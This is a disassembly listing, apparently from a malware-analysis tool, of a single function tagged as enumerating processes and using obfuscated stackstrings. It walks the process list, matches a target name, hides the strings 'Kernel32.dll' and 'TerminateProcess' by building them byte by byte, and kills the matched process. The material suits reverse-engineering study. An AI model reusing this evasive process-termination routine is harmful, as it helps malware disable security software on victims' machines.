Function at 0x10002770
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x1000d88c
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x10015070]
xor eax, esp
mov dword [esp + 0x168], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10015070]
xor eax, esp
push eax
lea eax, [esp + 0x180]
mov dword fs:[0], eax
mov ebp, ecx
push 0
push 2
mov byte [esp + 0x23], 0
mov dword [esp + 0x34], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [esp + 0x24], ebx
cmp ebx, 0xffffffff
je 0x10002ab7
lea eax, [esp + 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x10002ab0
lea ebx, [esp + 0x50]
shr ebx, 0x10
mov dword [esp + 0x28], ebx
mov eax, dword [section..data]
mov ecx, section..data
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x188], 0
lea eax, [esp + 0x50]
test ebx, ebx
jne 0x10002835
movzx esi, ax
mov ecx, esi
call fcn.10003690
test eax, eax
je 0x10002851
push esi
push eax
lea ecx, [esp + 0x24]
call fcn.10003110
jmp 0x1000284d
push eax
call fcn.10005fc0
add esp, 4
lea ecx, [esp + 0x1c]
push eax
lea eax, [esp + 0x54]
push eax
call fcn.10003390
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x188], 1
mov eax, dword [section..data]
mov ecx, section..data
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0x20], esi
mov byte [esp + 0x188], 2
test ebp, ebp
je 0x100028aa
test ebp, 0xffff0000
jne 0x1000289f
movzx ebx, bp
mov ecx, ebx
call fcn.10003690
test eax, eax
je 0x100028bb
push ebx
push eax
lea ecx, [esp + 0x28]
call fcn.10003110
jmp 0x100028b7
push ebp
call fcn.10005fc0
add esp, 4
jmp 0x100028ac
xor eax, eax
push eax
push ebp
lea ecx, [esp + 0x28]
call fcn.10003390
mov esi, dword [esp + 0x20]
mov byte [esp + 0x188], 3
mov ebx, dword [edi - 0xc]
test ebx, ebx
js 0x10002aa6
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, ebx
or eax, ecx
jge 0x100028ed
push ebx
lea ecx, [esp + 0x20]
call fcn.100031d0
mov edi, dword [esp + 0x1c]
lea eax, [ebx + 1]
push eax
push edi
call fcn.100064da
push eax
call fcn.100037b0
add esp, 0xc
cmp ebx, dword [edi - 8]
jg 0x10002aa6
mov dword [edi - 0xc], ebx
mov byte [ebx + edi], 0
mov ebx, dword [esi - 0xc]
test ebx, ebx
js 0x10002aa6
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, ebx
or eax, ecx
jge 0x1000293a
push ebx
lea ecx, [esp + 0x24]
call fcn.100031d0
mov esi, dword [esp + 0x20]
lea eax, [ebx + 1]
push eax
push esi
call fcn.100064da
push eax
call fcn.100037b0
add esp, 0xc
cmp ebx, dword [esi - 8]
jg 0x10002aa6
push esi
mov dword [esi - 0xc], ebx
push edi
mov byte [ebx + esi], 0
call fcn.100065e6
add esp, 8
test eax, eax
sete al
test al, al
je 0x10002a41
push dword [esp + 0x34]
push 0
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
lea eax, [esp + 0x158]
push eax
mov word [esp + 0x164], 0x642e
mov dword [esp + 0x15f], 0x336c656e
mov word [esp + 0x15c], 0x654b
mov word [esp + 0x167], 0x6c
mov byte [esp + 0x163], 0x32
mov byte [esp + 0x166], 0x6c
mov byte [esp + 0x15e], 0x72
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10002a35
lea ecx, [esp + 0x168]
push ecx
push eax
mov word [esp + 0x17f], 0x73
mov dword [esp + 0x17a], 0x65636f72
mov dword [esp + 0x175], 0x6574616e
mov dword [esp + 0x170], 0x6d726554
mov byte [esp + 0x179], 0x50
mov byte [esp + 0x17e], 0x73
mov byte [esp + 0x174], 0x69
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002a35
push 0
push ebx
call eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x1b], 1
add esi, 0xfffffff0
mov byte [esp + 0x188], 1
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10002a63
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov dword [esp + 0x188], 0xffffffff
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10002a88
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [esp + 0x24]
lea eax, [esp + 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x10002ab0
mov ebx, dword [esp + 0x28]
jmp 0x100027f3
push 0x80070057
call fcn.10003850
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x1b]
mov ecx, dword [esp + 0x180]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x168]
xor ecx, esp
call fcn.10003b9b
add esp, 0x178
ret